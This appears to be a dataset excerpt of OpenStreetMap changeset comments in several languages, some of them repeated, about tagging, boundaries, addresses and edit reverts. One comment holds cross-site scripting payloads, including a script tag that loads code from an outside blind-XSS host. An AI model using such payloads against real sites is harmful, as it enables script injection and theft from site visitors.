piebro/osm-data huggingface dataset:
Cartographer1973 (2023-04-03 04:48:21+00:00): Sorry, "badmin" was a typo produced when entering tag values.  I've corrected this.  As far as admin_level = 8, this is the value used for all other city limit feature for City of Denton, so I didn't change it.  Per the wiki page (https://wiki.openstreetmap.org/wiki/Tag:boundary%3Dadministrative#admin_level=*_Country_specific_values) "8" is the correct value to use here.  This particular area is an enclave of unincorporated territory surrounded by City of Denton.  There are several enclaves and exclaves like this in this part of the city.
user_5359 (2023-04-03 06:08:28+00:00): Sorry for not seeing the relation. But you don't repeat the values of a relation on its elements. Especially if it happens on the elements with the role inner, it is a mistake. This then means that the area is counted to the city again after all. You can see this best on a building with an inner yard. Only if the inner ring has no or different tags, then the building ring is recognizable.
Cartographer1973 (2023-04-04 03:21:21+00:00): For the tags and relations, I have followed exactly the same pattern used elsewhere within City of Denton and other nearby communities that also have enclaves of unincorporated territory.  If this is wrong, then it's wrong everywhere.
user_5359 (2023-04-04 04:14:37+00:00): Please read the corresponding Wiki article https://wiki.osm.org/wiki/Relation:boundary. But note that for a closed path you always describe the enclosed area. Thus you fill the enclave if you use the same values at a surface with inner roll as at the relation.
streckenkundler (2023-04-07 20:57:55+00:00): Sollte revertet werden, da Vandalismus-Verdacht im Raum steht! Siehe https://www.openstreetmap.org/changeset/134398403
Bobbi123 (2023-04-07 21:31:06+00:00): Muss ich entschieden zurückweisen, da die Löschungen gemäß der Kriterien im Wiki für abgebrochene Bahnstrecke geschah bzw. diese für die gelöschten Gleise nicht ausreichen. Begründung dazu siehe auch: https://www.openstreetmap.org/changeset/134398403#map=11/49.5733/9.9859

Ich muss drauf hinweisen, dass mich der User in diesem Chanceset persönlich beleidigt, abgewertet und ad hominem angewendet hat, als die Sachebene verlassen hat. Diese Emotionalität war hier keinesfalls legitim.
wolfgang8741 (2023-08-14 21:04:09+00:00): The name change wasn't a spam edit since it wasn't intentional, but it was an error. I'm not quite sure how that object was even changed by my adding the campground so far away. Thanks for fixing this!
streckenkundler (2023-04-07 20:57:41+00:00): Sollte revertet werden, da Vandalismus-Verdacht im Raum steht! Siehe https://www.openstreetmap.org/changeset/134398403
Bobbi123 (2023-04-07 21:31:02+00:00): Muss ich entschieden zurückweisen, da die Löschungen gemäß der Kriterien im Wiki für abgebrochene Bahnstrecke geschah bzw. diese für die gelöschten Gleise nicht ausreichen. Begründung dazu siehe auch: https://www.openstreetmap.org/changeset/134398403#map=11/49.5733/9.9859

Ich muss drauf hinweisen, dass mich der User in diesem Chanceset persönlich beleidigt, abgewertet und ad hominem angewendet hat, als die Sachebene verlassen hat. Diese Emotionalität war hier keinesfalls legitim.
streckenkundler (2023-04-07 20:57:28+00:00): Sollte revertet werden, da Vandalismus-Verdacht im Raum steht! Siehe https://www.openstreetmap.org/changeset/134398403
Bobbi123 (2023-04-07 21:30:48+00:00): Muss ich entschieden zurückweisen, da die Löschungen gemäß der Kriterien im Wiki für abgebrochene Bahnstrecke geschah bzw. diese für die gelöschten Gleise nicht ausreichen. Begründung dazu siehe auch: https://www.openstreetmap.org/changeset/134398403#map=11/49.5733/9.9859

Ich muss drauf hinweisen, dass mich der User in diesem Chanceset persönlich beleidigt, abgewertet und ad hominem angewendet hat, als die Sachebene verlassen hat. Diese Emotionalität war hier keinesfalls legitim.
willkmis (2023-04-20 14:53:40+00:00): Hey stevea,
In this changeset, it looks like you changed the city label for Murrieta to "Mahogany Hills", instead of adding the existing Mahogany Hills suburb node (https://www.openstreetmap.org/node/2990321549) to the relation. Was this an accident, or is there some other reason?
Best,
Will
stevea (2023-04-20 16:17:07+00:00): Yes, I messed this up FURTHER after it was messed up to begin with.  Mahogany Hills is now a place=suburb (as it is within Murrieta's city limits) and Murrieta is now correct, I believe.  Some subtle tagging required, and if we don't get it correct in two steps, how about three?!

Thanks for catching this and calling it to my attention.
stevea (2023-04-20 19:50:15+00:00): It may also be possible this needs a fourth revision.  If you (willkmis) believe there is a tagging scheme (with the nodes, the ways, the suburb and the relation) superior to the way I have done it currently, you are welcome to improve it from here.  And perhaps we can all learn something about the best way to tag such entities.

It is getting better in (southern, especially) California on how to "do these" (census tracts, which are non-administrative, cities and towns, which are, small towns/villages/hamlets which are unincorporated and have no boundary and are best mapped with a node...).  Maybe we aren't "all perfectly correct" today, but it is getting better.
willkmis (2023-04-23 17:49:44+00:00): Ha, all I saw is that the Murrieta label had disappeared from the map, which looks fixed now. These sorts of boundaries are certainly messy, so I don't think I see a specific improvement I'd make. Good work, and thanks for fixing!
stevea (2023-04-23 20:10:50+00:00): 👍
multichill (2023-04-24 16:48:33+00:00): Is this really admin_level=1?
Iko IRM-RV (2023-04-28 03:06:04+00:00): I also noticed that there was no correlation between the tags. He gives the name=boundaries (Wilayah in bahasa), but in the relation he gives the name=building (Bangunan in bahasa), and the type of relation is route, which is strange. I recommend that you delete this.
multichill (2023-04-30 20:38:35+00:00): https://www.openstreetmap.org/changeset/135552652
Mundilfari (2023-04-02 16:50:52+00:00): Where on the bing aerial did you see that the NB Main&NW Hwy stop is on the NE corner of the intersection? It's very clearly on the SE corner on bing streetside; which is consistent with what Pace publishes on their website in the list of posted stops locations.

Also, please refrain from using abbreviations in names. We've discussed this point before, but in case you forgot, please re-read the "Abbreviations" page on the wiki for further details and background [1].  Please respect the rules and guidelines of the community you've chosen to be a part of. Thanks!

[1] https://wiki.openstreetmap.org/wiki/Abbreviations
Zol87 (2023-04-03 02:10:02+00:00): I just moved the bus stops because of a notice from pace a month ago about a routing change.

https://webcache.googleusercontent.com/search?q=cache:vhuVMi2BapQJ:https://www.pacebus.com/notice/route-550-service-change&cd=2&hl=en&ct=clnk&gl=us&client=firefox-b-1-d
Mundilfari (2023-04-03 18:47:56+00:00): Interesting; thanks for sharing. Looks like they forgot to update the list of posted stops then.
bkil (2023-04-02 11:47:06+00:00): Köszönjük a közreműködést. Javítottam a szerkesztésben a következő hibákat: hiányzó addr:city (településnév), a nyitvatartás nem egyezett a honlapon találhatóval, a telefonszám nemzetközi formátumba került, mivel ez nem egy közért, átraktam shop=trade + trade=agricultural_supplies típusra (mezőgazdasági ellátmány), a weboldal nem felelt meg az URL szintaxisnak, az internet_access=wlan címke azt jelentette volna, hogy a helyszínen a vevők részére wifi használat érhető el. Továbbá kiegészítettem a honlapon elérhető további információkkal: Facebook, Skype, Viber, WhatsApp, delivery (kiszállítás), operator (üzemeltető), name, adószám. Felvettem az említett, bekötőúttal szemben lévő házszámot is ami segít a tájékozódásban (várjuk a környék további házszámainak is felvételét, akár eleinte csak sarkonként egyet-egyet. Üdv!
user_5359 (2023-04-03 10:27:35+00:00): Welcome to OSM! For a better description of you object please have a look on https://wiki.osm.org/wiki/Tag:amenity%3Dschool
jakecopp (2024-01-15 12:11:08+00:00): I would like this to be a legal bicycle path, but I'm not sure what "NSW definition of what a SUP is" means?

I thought legal shared paths need to either have a blue line or signs at each end.
samuelrussell (2024-01-16 00:52:15+00:00): Nope. The regs specify as heading towards it past a sign or marking up until a cease sign.
TheSwavu (2024-01-16 04:13:01+00:00): If we're being technical here then it also only applies up to the first road crossing see Rule 242(2) http://classic.austlii.edu.au/au/legis/nsw/consol_reg/rr2014104/s242.html
samuelrussell (2024-01-17 01:59:41+00:00): I resurveyed 10 months ago. Next time I’m shifted for bicycle I can resurvey if you like.
AgusQui (2023-04-30 04:33:12+00:00): Por favor evitar hacer landuses tan grandes como éste: https://www.openstreetmap.org/way/1159095464, se recomienda hacerlos mas acotados como en este ejemplo: https://www.openstreetmap.org/way/674169049
Amcos (2023-04-02 06:43:49+00:00): Check the aerial photo to see the road route. I fixed the map...
Ondřej Lopatka (2026-01-04 15:09:46+00:00): Hello, may I ask how did you cout the step count for a conveying? Thanks, Ondřej L.
Yitzchak M (2023-04-06 01:38:10+00:00): You recently removed the English name and description of this Zula. Please explain your justification in doing this!
Yitzchak M (2023-04-06 02:14:04+00:00): Upon further inspection, I noticed that you removed the public Point of Interest that was on the Israel Hiking Map. Please explain who you are that you have the right to remove a public Point of Interest from the IHM map without first informing the author of that public Point of Interest.
Tsur Halamish (2023-04-06 07:37:40+00:00): Apologies. I must have made a mistake there. I am sorry about that.
Yitzchak M (2023-04-06 07:48:24+00:00): I will put it back to the way it was.
qqqq4363773 (2023-04-02 06:50:54+00:00): 
<a href=”google.com”><h1><font color=”blue”>click Here<h1></font></a>
<h1>Hello,<script>alert(1)</script>!</h1>
"><script src=https://suraj.bxss.in></script>
joel56dt (2024-09-06 18:32:15+00:00): Hi ngry_pazuzu,
I noticed the Mapbox imagery shows a number of differences at the 96 Ave / Fraser Hwy intersection. Your changeset doesn't really match either the old imagery or the new imagery so before I go make changes I thought I would check - maybe both are old and what you have mapped is more up to date?

Thanks,
Joel
ngry_pazuzu (2024-09-07 04:59:46+00:00): Both are definitely old. If you use the Esri World Imagery in the iD editor and zoom out, you will see that there are now cycle crossings. Oddly enough when you use Esri World Imagery and zoom in, it reverts to older map images.

But my changes are not based on any map imagery. I actually cycled to this intersection and took photos so that I could put in the details of this changeset.
ngry_pazuzu (2024-09-07 05:03:17+00:00): The latest Esri Map Imagery may be more recent, as I now see a cycle crossing that wasn't there before. That's not surprising, as there was a lot of construction along Fraser Highway at the time mostl likely related to the extension of the Skytrain to Langley. There may still be ongoing construction.
Dodko (2023-04-02 09:27:51+00:00): táto adresa nemá byť v budove ale vo vedľajšom vchode
https://www.openstreetmap.org/way/88545225
Tomas_J (2023-04-02 09:44:38+00:00): Vymazal som adresu z budovy. Ako si to zistil? Je na to nejaka kontrola? Prechadzam to vizualne na mape pred nahranim, ale asi mi to obcas utecie...
Dodko (2023-04-02 09:51:55+00:00): Len tak náhodou a vizuálne, nezdalo sa mi, že tak veľká budova má jedno orientačné číslo.
Tomas_J (2023-04-02 09:55:25+00:00): Prejdem este vsetky mesta, ktore som robil za posledne dni (je ich malo, vacsinou robim dediny, kde su iba samostatne domy). Blbe je, ze ak su uz na panelakoch adresne body, tak mi ich aplikacia obcas znovu stiahne...
catdreamer (2023-04-02 11:21:59+00:00): 請勿由mapsme上傳私人註記至OSM
Pikse (2023-06-24 19:11:55+00:00): These translations are dubious. Names of such smaller geographical features are often used in an untranslated form. If generic term 'city' in a name is translated then I'd expect that this is a name of a city (not railway station). Some of your translations, like "Chełm Linn" and "Chełm Kaupunki" are also grammatically invalid. It'd probably be better if you translated only into languages that you understand.
eggie (2023-04-02 16:55:28+00:00): Welkom bij OpenStreetMap. Ik heb een uitgebreid welkomstbericht met wat handige tips en links gestuurd als privebericht. 

MVG, 

Eggie 

Namens de OSM Community
arte2002 (2023-04-02 16:20:49+00:00): Hola fjavier_gr

Parece que ha habido cambios en la zona
https://www.openstreetmap.org/way/278355889


La edito
https://www.openstreetmap.org/changeset/134421183

Saludos
Max-Kritic (2023-04-03 06:35:17+00:00): C'est la deuxième fois que tu casses des lignes bus sur Rouen. Peux-tu faire attention ! Ici ce sont les deux relations F9 qui ne marchent plus.
tomzyl (2023-06-07 21:14:08+00:00): wyburzone pół roku temu i nagminnie dodawane. Na ich miejscu obecnie stoi już budowane osiedle.
Dodko (2023-04-02 11:09:47+00:00): Medzi bytovkami je naozaj postavená chatka na ubytovanie?
tordans (2024-03-14 16:31:21+00:00): Hallo MappiViewer, wie kommt es zu den 10km/h?  Die Frage wird in https://www.openstreetmap.org/note/4151965 aufgeworfen.
VG
            ---
            
            Published using OSMCha: https://osmcha.org/changesets/134404640
user_5359 (2023-04-12 05:52:30+00:00): Hello! Please have a look on http://www.osm.org/node/10779116490. What is the mean of the tag stapline = Minden, ami biztosítás
?
bkil (2023-04-12 09:21:22+00:00): Fixed. It was supposed to be https://wiki.osm.org/Key:strapline
vasony (2023-04-12 10:15:22+00:00): Thx
user_5359 (2023-04-02 14:30:28+00:00): Willkommen bei OSM! Bitte beachte, dass Straßenname und Hausnummer nicht der Name des Gebäude ist.
SomeoneElse (2023-04-02 13:44:59+00:00): Hello RandomPenguin1778, and welcome to OpenStreetMap!

Would it be possible to use changeset comments that are a bit more descriptive than "Just added some changes"?  It's been mentioned before - https://openstreetmap.org/changeset/134132271 .
Best Regards,
Andy
PS: Any other questions, please don't hesitate to ask.
2024may (2023-04-02 14:53:43+00:00): Hi Andy,
I do apologize for the fact that I hadn't put an informative description of the changes that I had made. The reason for this is because, I don't have much time to focus on OpenStreetMap daily. I do try to add places, and make changes if necessary, but because of my little time to spare, I wasn't able to give a description. I will try to give a more informative description for future changes. Thank you for reporting.
SomeoneElse (2023-04-02 15:28:15+00:00): Thanks!
habi (2023-04-05 07:51:55+00:00): Ciao Simsalasim

Willkommen bei OpenStreetMap, schön machst du hier mit und hilfst die Daten zu pflegen.

Du hast hier https://www.openstreetmap.org/node/10779368020 mit `access=unknown` hinzugefügt.
Ich würde den "Poller" mit `access=no` hinzufügen, das schliesst den Durchgang für Alle aus. Mit `foot=yes` und `bicycle=yes` (wie du gemacht hast) erlaubst du dann Fuss- und Veloverkehr wieder.

Gruss aus Bern und happy mapping!
habi
Simsalasim (2023-04-05 10:57:50+00:00): Perfekt, mach ich so. Das macht auch viel mer sinn so! Danke dir!
lefuturiste (2024-08-08 10:56:34+00:00): Bonjour, veuillez revoir votre contribution SVP, il ne suffit pas de mettre un nom sur bâtiment. Il y a des tags.
Je vous laisse lire le wiki https://wiki.openstreetmap.org/wiki/FR:Guide_du_d%C3%A9butant
Hufkratzer (2023-04-02 17:47:05+00:00): Hi,
How could the small round areas 
https://www.openstreetmap.org/way/1159124515
https://www.openstreetmap.org/way/1159124516
be used for horse racing?
I assume they are round pens. In this case I would recommend leisure=pitch + sport=equestrian (preset for riding arenas).
VLD549 (2023-05-13 07:30:17+00:00): Hi,
I am not a mapper, but it seems that the blue line should be drawn more neatly. Or doesn't it matter?
Also, could you indicate the source that confirms the name change? I can't determine whether it is correct, because there is not a single search result when googling Voetweg 66 - Eisselwegel
Thank you!
Tom Ameye (2023-05-14 03:34:21+00:00): Hi VLD549, I do not understand the question on the blue line. Do you mean some water or cycle path?
Source for the names: Atlas de Buurtwegen, for which there are various online sources.
Best regards, Tom
NorthCrab_upload (2023-04-02 10:10:23+00:00): Zauważyłem, że Twoja zmiana zawiera niepoprawne adresy. Przygotowałem listę obiektów do poprawy oraz dodatkowe informacje:

Adres jest niekompletny, brakuje informacji o miejscowości.
https://www.openstreetmap.org/node/10779335567

Pozdrawiam! 🦀
NorthCrab_upload (2023-04-02 10:10:24+00:00): 🗺️ Witaj na OpenStreetMap!

Zauważyłem, że Twoja zmiana zawiera niepoprawne adresy. Przygotowałem listę obiektów do poprawy oraz dodatkowe informacje:

Adres jest niekompletny, brakuje informacji o nazwie ulicy. Jeśli adres ma nazwę ulicy, dodaj ją w addr:street. Jeśli nie, zamień addr:city na addr:place - tak oznaczamy adresy bez ulic.
https://www.openstreetmap.org/way/886740996

Dokumentacja adresów (po polsku):
https://wiki.openstreetmap.org/wiki/Pl:Key:addr:*

W razie problemów lub pytań, proszę pisać. Chętnie pomogę.
Pozdrawiam! 🦀
Fizzie-DWG (2023-09-22 02:40:30+00:00): DWG revert:

https://www.openstreetmap.org/changeset/141583887
streckenkundler (2023-04-07 20:57:11+00:00): Sollte revertet werden, da Vandalismus-Verdacht im Raum steht! Siehe https://www.openstreetmap.org/changeset/134398403
Bobbi123 (2023-04-07 21:30:44+00:00): Muss ich entschieden zurückweisen, da die Löschungen gemäß der Kriterien im Wiki für abgebrochene Bahnstrecke geschah bzw. diese für die gelöschten Gleise nicht ausreichen. Begründung dazu siehe auch: https://www.openstreetmap.org/changeset/134398403#map=11/49.5733/9.9859

Ich muss drauf hinweisen, dass mich der User in diesem Chanceset persönlich beleidigt, abgewertet und ad hominem angewendet hat, als die Sachebene verlassen hat. Diese Emotionalität war hier keinesfalls legitim.
map per (2023-04-03 13:59:49+00:00): Hallo dufterbe,

weil die Sektoren keine eigenen Friedhöfe sind sollte man die als cemetery=sector (vgl. (1)) einzeichnen. Außerdem würde ich dort eher Punkte einzeichnen oder die Flächen nicht mit den Wegen verbinden, weil es sonst später schwieriger ist die Wege zu bearbeiten.

Danke und viele Grüße
map per

(1) https://wiki.openstreetmap.org/wiki/DE:Tag:cemetery%3Dsector
map per (2023-04-03 16:03:18+00:00): Ich würde die Punkte über das Eigenschaften Feld des ID Editors folgendermaßen einzeichnen:

cemetery=sector
ref=121
map per (2023-04-15 11:38:17+00:00): Habs wie vorgeschlagen eingezeichnet
eggie (2023-04-03 10:15:50+00:00): Dag Erik... Je vraagt feedback.. Lijkt me oke zo.

MVG
eggie
habi (2023-04-05 08:11:20+00:00): Ciao Simsalasim

Lustig, das hier ist fast in meiner unmittelbaren Nachbarschaft!
In Bern haben wir Zugriff auf den offiziellen Katasterplan der Stadt und des Kantons.
Es hat sich eingebürgert, dass wir die Gebäude anhand der Umrisse im Katasterplan erfassen.
Da die 'Raum und Zeit'-Bar in einem etwas ausgebauten Container steht, habe ich diesen vor 4 Jahren so erfasst :)
Ich habe den Gebäudeumriss wieder auf den Katasterplan zurückgeführt.
Simsalasim (2023-04-05 10:37:53+00:00): Ah super, danke für die Info. Auch da ich bald nach Bern umziehen werde ist das sehr wichtige Info. Was ist der Grund, dass ich auf den Katasterplan gestützt wird und nicht auf die "wirklliche" oder anderst gesagt aktuellste stand des Bauwerks?
habi (2023-04-05 17:07:46+00:00): Der Grund ist, dass Gebäude in OpenStreetMap normalerweise anhand der Mauern und nicht anhand der Dachumrisse erfasst werden.
Der Katasterplan zeigt den aktuellsten Stand des Gebäudes.
Simsalasim (2023-04-06 08:52:21+00:00): Perfekt, danke viel mal!!
goodidea (2023-04-08 03:05:52+00:00): Hallo! Hier hast du kerb + tactile_paving an einer Stelle hinzugefügt, wo an der physisch korrekten Stelle (ca. 1,6 m weiter Richtung Straße) bereits ein  getaggter Knoten mit barrier=kerb, kerb=flush;lowered, tactile_paving=yes von mir war/ist (https://www.openstreetmap.org/node/10727049441). 2 solche Knoten mit den gleichen Tags kurz hintereinander sollten nicht sein (z.B. für Fußgängerrouting/Warnungen für Blinde usw. – die kämen sonst doppelt). Ich hab dein Tagging daher wieder entfernt. Nicht schlimm, aber ich mach mir mit Kreuzungen und Übergängen inkl. kerb + tactile_paving immer ziemliche Arbeit und checke es vor Ort, daher bitte etwas aufpassen bei Änderungen/Ergänzungen. Danke schön!!! 

(Noch was Kleines: hier ist kerb zudem flush;lowered, nicht einfach nur flush … das kommt oft in Saarbrücken vor ... Hatte mal jemand angefangen so zu taggen, wenn es so ist – ich führe das seitdem fort, auch wenn solche Doppelwerte nicht sehr schön sind – aber halt korrekt. Ich weiß nicht, ob StreetComplete das unterstützt, ich nutze nur Vespucci + JOSM.) Viele Grüße!
WhyDoDisplayNamesHaveToBeUnique (2023-04-08 10:04:30+00:00): Hi! Tatsache, dann kann ich nicht nachvollziehen warum StreetComplete da den "falschen" node ausgewählt hat.

Ich habe es auch vor Ort gecheckt, und dann das entsprechende Bildchen angeklickt. Könnte es sein, dass SC ganz allgemein leicht andere Tags schreiben sollte? Ich bin noch relativ neu in OSM, darum habe ich da noch kein gutes Verständnis.

SC scheint zu denken dass "lowered" und "flush" sich gegenseitig ausschließen. Man kann nur einen dieser Werte anklicken:
https://github.com/streetcomplete/StreetComplete/blob/master/app/src/main/java/de/westnordost/streetcomplete/quests/kerb_height/KerbHeight.kt
Und so sehen die Bilder aus, die man zum Anklicken bekommt:
https://github.com/streetcomplete/StreetComplete/blob/master/app/src/main/res/drawable-hdpi/kerb_height_flush.jpg
https://github.com/streetcomplete/StreetComplete/blob/master/app/src/main/res/drawable-hdpi/kerb_height_lowered.jpg
Was heißt denn "lowered;flush"? Laut wiki gibt es nur 31+420 nodes mit diesen beiden Tags (in den 2 verschiedenen Reihenfolgen.)
Die Dokumentation für die Bedeutung scheint auch recht klar zu sein, dass die Werte nicht gleichzeitig auftreten können: https://wiki.openstreetmap.org/wiki/Key:kerb#Values

Dann frage ich mal ganz doof: Warum ist "flush;lowered" hier korrekt?
WhyDoDisplayNamesHaveToBeUnique (2023-04-08 10:06:21+00:00): "31+420" ist kein Typo, es kommt tatsächlich weltweit nur 451 mal vor. Da es anscheinend circa 900 Tausend kerbs gibt, behaupte ich jetzt mal dass du der einzige bist, der "flush;lowered" schreibt.
goodidea (2023-04-10 16:35:40+00:00): Noch zur Ergänzung: Man hat bei OSM auch immer die Möglichkeit, eigene Werte zu "erfinden" (sie sollten nur Sinn machen) – das ist das "Any Tags you like"-Prinzip, siehe https://wiki.openstreetmap.org/wiki/Any_tags_you_like.

Statt eines Mehrfachwertes könnte man hier z.B. auch taggen: kerb=half_flush_half_lowered.

Wenn man der Meinung ist, es sollten besser nur Einzelwerte sein (wobei der Mehrfachwert eigentlich genau das aussagt, bzw. auch  dann zutreffend ist, wenn es nicht exakt halb/halb ist).

Das könnte man dann mit einem Beispielfoto ins Wiki stellen – bzw. am besten vorher diskutieren, oib andere eine solche Ergänzung gutheißen, z.B. im Forum https://community.openstreetmap.org/

Falls du die Energie hast, kannst du das dort ja auch mal zur Diskussion stellen bzw. nachfragen, am besten  mit einem guten Beispielfoto ...

Mir fehlt dafür mittlerweile etwas die Energie. Man muss auch mit allen möglichen, sich teils widersprechenden Antworten rechnen, wie es halt so ist ... Aber das wäre der offizielle Weg für eine allgemeine Klärung.